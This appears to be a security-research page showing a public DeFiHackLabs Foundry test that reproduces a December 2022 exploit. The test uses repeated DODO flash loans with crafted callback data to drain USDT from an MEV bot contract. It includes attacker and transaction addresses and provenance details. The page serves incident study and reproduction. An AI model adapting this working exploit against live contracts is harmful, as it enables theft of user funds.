Public reproduction file
src/test/2022-12/MEVbot_0x28d9_exp.sol
Public reproduction file for dataset entry - MEVbot_0x28d9.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4// @KeyInfo - Total Lost : ~1300 $USDC5// Attacker : https://etherscan.io/address/0xb61e7f192a9ad5d11e2452f53d0ddf91b58239dc6// Attack Contract : https://etherscan.io/address/0x0757d02596ef9840048def00eeb8e0f3862cc7ca7// Vulnerable Contract : https://etherscan.io/address/0x28d949fdfb5d9ea6b604fa6fee3d6548ea779f178// Attack Tx : https://etherscan.io/tx/0x313d23bdd9277717e3088f32c976479c09d4b8a94d5d94deb835d157fd0850ce10import "forge-std/Test.sol";11import "./../interface.sol";13interface IDPPAdvanced {14 function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external;15}17contract ContractTest is Test {18 IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);19 IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);20 IDPPAdvanced DODO = IDPPAdvanced(0x3058EF90929cb8180174D74C507176ccA6835D73);21 address MevBot_addr = 0x28d949Fdfb5d9ea6B604fA6FEe3D6548ea779F17;23 function setUp() public {24 vm.createSelectFork("mainnet", 16_157_843 - 1);25 vm.label(address(USDC), "USDC");26 vm.label(address(USDT), "USDT");27 vm.label(address(DODO), "DODO");28 vm.label(address(MevBot_addr), "MevBot_addr");29 }31 function testExploit() public {32 emit log_named_decimal_uint("Attacker USDC balance before attack", USDC.balanceOf(address(this)), 6);33 bytes memory data = abi.encode(address(this), 16_777_120 * 110 / 100, 0, 0);34 while (USDT.balanceOf(MevBot_addr) > 20 * 1e6) {35 DODO.flashLoan(0, 16_777_120, MevBot_addr, data);36 }37 DODO.flashLoan(0, USDT.balanceOf(MevBot_addr), MevBot_addr, data);38 emit log_named_decimal_uint("Attacker USDC balance before attack", USDC.balanceOf(address(this)), 6);39 }41 fallback() external payable {}42 receive() external payable {}43}Analysis
Dataset entry
Public Foundry test for “- MEVbot_0x28d9” (2022-12-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-12/AES_exp.solSame month in the dataset · 69 lines
- src/test/2022-12/APC_exp.solSame month in the dataset · 68 lines
- src/test/2022-12/BBOX_exp.solSame month in the dataset · 70 lines
- src/test/2022-12/BGLD_exp.solSame month in the dataset · 113 lines
- src/test/2022-12/Defrost_exp.solSame month in the dataset · 62 lines
- src/test/2022-12/DFS_exp.solSame month in the dataset · 104 lines
- src/test/2022-12/ElasticSwap_exp.solSame month in the dataset · 95 lines
- src/test/2022-12/FPR_exp.solSame month in the dataset · 74 lines
- src/test/2022-12/JAY_exp.solSame month in the dataset · 120 lines
- src/test/2022-12/Lodestar_exp.solSame month in the dataset · 263 lines
- src/test/2022-12/MUMUG_exp.solSame month in the dataset · 80 lines
- src/test/2022-12/Nmbplatform_exp.solSame month in the dataset · 229 lines
- src/test/2022-12/NovaExchange_exp.solSame month in the dataset · 67 lines
- src/test/2022-12/Overnight_exp.solSame month in the dataset · 285 lines
- src/test/2022-12/RFB_exp.solSame month in the dataset · 77 lines
- src/test/2022-12/Rubic_exp.solSame month in the dataset · 137 lines
- src/test/2022-12/TIFI_exp.solSame month in the dataset · 67 lines
- src/test/2023-11/bot_exp.solSame protocol or name in the dataset · 123 lines
- src/test/2022-09/MEVbadc0de_exp.solSame protocol or name in the dataset · 186 lines
- src/test/2022-09/BNB48MEVBot_exp.solSame protocol or name in the dataset · 68 lines
- src/test/2023-11/MEV_0x8c2d_exp.solSame protocol or name in the dataset · 101 lines
- src/test/2023-11/MEV_0xa247_exp.solSame protocol or name in the dataset · 188 lines
- src/test/2024-07/MEVbot_0xdd7c_exp.solSame protocol or name in the dataset · 128 lines
- src/test/2022-10/MEVa47b_exp.solSame protocol or name in the dataset · 126 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xb61e7f192a9ad5d11e2452f53d0ddf91b58239dc
- Attack Contract
0x0757d02596ef9840048def00eeb8e0f3862cc7ca
- Vulnerable Contract
0x28d949fdfb5d9ea6b604fa6fee3d6548ea779f17
- Attack Tx
0x313d23bdd9277717e3088f32c976479c09d4b8a94d5d94deb835d157fd0850ce
File record
- Name
- MEVbot_0x28d9
- Path
- src/test/2022-12/MEVbot_0x28d9_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 9bf35c857393402eac9cc64cfa216e3661ae99cd
- Language
- Solidity
- Size
- 44 lines
- Date
- 2022-12-11
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-12/MEVbot_0x28d9_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 9bf35c857393402eac9cc64cfa216e3661ae99cd, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.